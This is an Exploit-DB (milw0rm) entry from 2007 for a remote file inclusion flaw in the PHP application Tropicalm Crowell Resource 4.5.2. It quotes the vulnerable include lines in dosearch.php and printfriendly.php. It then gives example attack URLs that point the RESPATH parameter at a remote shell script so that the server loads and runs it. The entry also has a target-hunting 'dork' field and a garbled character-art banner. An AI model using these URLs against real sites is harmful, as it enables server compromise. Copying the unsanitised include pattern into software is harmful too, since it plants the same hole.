Tropicalm Crowell Resource 4.5.2 - 'RESPATH' Remote File Inclusion

EDB-ID:

3865

CVE:

2007-2530

EDB Verified:
Author:

kezzap66345

Type:

webapps

Exploit: /
Platform:

PHP

Date:

2007-05-07

Vulnerable App:
##############################################################################################
##############################################################################################
#Â§Â§Â§Â§Â§__________________________________________Â§Â§Â§Â§Â§
Â§Â§Â§Â§Â§Â§Â§Â§_____________________________________Â§Â§Â§Â§Â§Â§Â§
Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§_________________________________Â§Â§Â§Â§Â§Â§Â§Â§
Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§_____________________________Â§Â§Â§Â§Â§Â§Â§Â§Â§
Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§__________________________Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§
Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§______________________Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§
Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§___________________Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§
Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§_________________Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§
Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§_______________Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§
Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§_____________Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§
___Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§__________Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§
_____Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§________Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§
________Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§_______Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§
___________Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§_____Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§
________________Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§___Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§
_____________________Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§__Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§
___________________________Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§_
_____________________Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§____
______________Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§_______
___________Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§______
________Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§____
______Â§Â§Â§Â§Â§Â§Â§Â§_____Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§___
____Â§Â§Â§Â§Â§Â§Â§Â§Â§_______Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§__
__Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§_______Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§_
_Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§_____Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§
Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§
Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§
Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§
Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§
_Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§_
__Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§_
_____Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§__
_________Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§___
_______________Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§___
_________________Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§____
_________________Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§________
________________Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§_____Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§___________
_________________Â§Â§Â§Â§Â§_________Â§Â§Â§Â§Â§_________Â§Â§Â§Â§Â§__
__________Â§Â§Â§Â§_________Â§Â§Â§Â§____________Â§Â§Â§Â§Â§Â§Â§Â§Â§____
__________Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§_____Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§__________
__________Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§___Â§Â§Â§Â§Â§_________________
__________Â§Â§Â§Â§Â§______Â§Â§Â§Â§Â§Â§_________________________
#
#Tropicalm Crowell Resource v4.5.2 <=  Remote File Inclusion Vulnerability
#
#Dork::(
#
#Vuln Code
###################################################################################
#
#ERROR1:dosearch.php
#
#include("$RESPATH/inc/disptmpl1.inc");
#
#BUG1:
#
#Example1:http://site.com/path/dosearch.php?RESPATH=[[Sh3LL Script]]
#
#
#
#ERROR2:printfriendly.php
#
#require_once("$RESPATH/lib/cls/shadow.cls");
#...
#....
#include("$RESPATH/inc/header.inc");
#include("$RESPATH/inc/tabcss.inc"); ?>
#BUG2:
#
#Example2:http://site.com/path/printfriendly.php?RESPATH=[[Sh3LL Script]]
#Script Download
#############################################################################
#
#http://www.tropicalm.net/lib/plug-in/download.php?filename=resdemo.tgz
#
##############################################################################################
#
#kezzap66345@hotmail.com
#
#Special Thanks:##### x0r0n ##### ajan ##### siircicocuk
##Str0ke#############################
##############################################################################################
##############################################################################################

# milw0rm.com [2007-05-07]
Tags:
Advisory/Source: Link
Databases	Links	Sites	Solutions
Exploits	Search Exploit-DB	OffSec	Courses and Certifications
Google Hacking	Submit Entry	Kali Linux	Learn Subscriptions
Papers	SearchSploit Manual	VulnHub	OffSec Cyber Range
Shellcodes	Exploit Statistics		Proving Grounds
			Penetration Testing Services